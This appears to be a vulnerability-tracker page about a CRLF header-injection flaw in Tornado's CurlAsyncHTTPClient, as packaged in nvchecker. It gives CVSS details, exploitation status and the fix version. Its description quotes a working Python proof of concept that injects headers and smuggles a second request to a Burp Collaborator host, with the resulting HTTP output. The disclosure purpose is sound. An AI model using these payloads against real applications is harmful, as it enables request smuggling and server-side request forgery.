VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

CVE-2024-58384: Nvchecker · Tornado has a CRLF injection in CurlAsyncHTTPClient headers

Affects nvcheckerSource GCVE Database

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Authoritative record:CVE-2024-58384· Medium 6.3

Not known to be exploited · CVSS 6.3 Medium : upgrade to 2.15.1_1 when convenient.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

6.3Medium

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 2.15.1_1

CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Attack Vector: Network
Attack Complexity: High
Attack Requirements: Present
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: Low
Vulnerable system integrity: Low
Vulnerable system availability: None
Subsequent system confidentiality: Low
Subsequent system integrity: Low
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: High: The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques, for example, circumvention of address space randomization (ASLR) or data execution prevention (DEP) must be performed for the attack to be successful; Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Attack Requirements: Present: The successful attack depends on the presence of specific deployment and execution conditions of the vulnerable system that enable the attack. These include: a race condition must be won to successfully exploit the vulnerability (the successfulness of the attack is conditioned on execution conditions that are not under full control of the attacker, or the attack may need to be launched multiple times against a single target before being successful); the attacker must inject themselves into the logical network path between the target and the resource requested by the victim (e.g. vulnerabilities requiring an on-path attacker).
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Vulnerable System.
Vulnerable system integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: Low: There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is limited. The information disclosure does not cause a direct, serious loss to the Subsequent System.
Subsequent system integrity: Low: Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is limited. The data modification does not have a direct, serious impact to the Subsequent System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 15 Sep 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade nvchecker to 2.15.1_1.

Affected software

Product	Affected	Fixed in
Homebrewnvchecker`pkg:brew/nvchecker`Other threats	Affected >=2.7 <2.15.1_1	Fixed in 2.15.1_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Tornado’s `curl_httpclient.CurlAsyncHTTPClient` class is vulnerable to CRLF (carriage return/line feed) injection in the request headers. ### Details When an HTTP request is sent using `CurlAsyncHTTPClient`, Tornado does not reject carriage return (\r) or line feed (\n) characters in the request headers. As a result, if an application includes an attacker-controlled header value in a request sent using `CurlAsyncHTTPClient`, the attacker can inject arbitrary headers into the request or cause the application to send arbitrary requests to the specified server. This behavior differs from that of the standard `AsyncHTTPClient` class, which does reject CRLF characters. This issue appears to stem from libcurl's (as well as pycurl's) lack of validation for the [`HTTPHEADER`](https://curl.se/libcurl/c/CURLOPT_HTTPHEADER.html) option. libcurl’s documentation states: > The headers included in the linked list must not be CRLF-terminated, because libcurl adds CRLF after each header item itself. Failure to comply with this might result in strange behavior. libcurl passes on the verbatim strings you give it, without any filter or other safe guards. That includes white space and control characters. pycurl similarly appears to assume that the headers adhere to the correct format. Therefore, without any validation on Tornado’s part, header names and values are included verbatim in the request sent by `CurlAsyncHTTPClient`, including any control characters that have special meaning in HTTP semantics. ### PoC The issue can be reproduced using the following script: ```python import asyncio from tornado import httpclient from tornado import curl_httpclient async def main(): http_client = curl_httpclient.CurlAsyncHTTPClient() request = httpclient.HTTPRequest( # Burp Collaborator payload "http://727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com/", method="POST", body="body", # Injected header using CRLF characters headers={"Foo": "Bar\r\nHeader: Injected"} ) response = await http_client.fetch(request) print(response.body) http_client.close() if __name__ == "__main__": asyncio.run(main()) ``` When the specified server receives the request, it contains the injected header (`Header: Injected`) on its own line: ```http POST / HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com User-Agent: Mozilla/5.0 (compatible; pycurl) Accept: */* Accept-Encoding: gzip,deflate Foo: Bar Header: Injected Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` The attacker can also construct entirely new requests using a payload with multiple CRLF sequences. For example, specifying a header value of `\r\n\r\nPOST /attacker-controlled-url HTTP/1.1\r\nHost: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com` results in the server receiving an additional, attacker-controlled request: ```http POST /attacker-controlled-url HTTP/1.1 Host: 727ymeu841qydmnwlol261ktkkqbe24qt.oastify.com Content-Length: 4 Content-Type: application/x-www-form-urlencoded body ``` ### Impact Applications using the Tornado library to send HTTP requests with untrusted header data are affected. This issue may facilitate the exploitation of server-side request forgery (SSRF) vulnerabilities.

References

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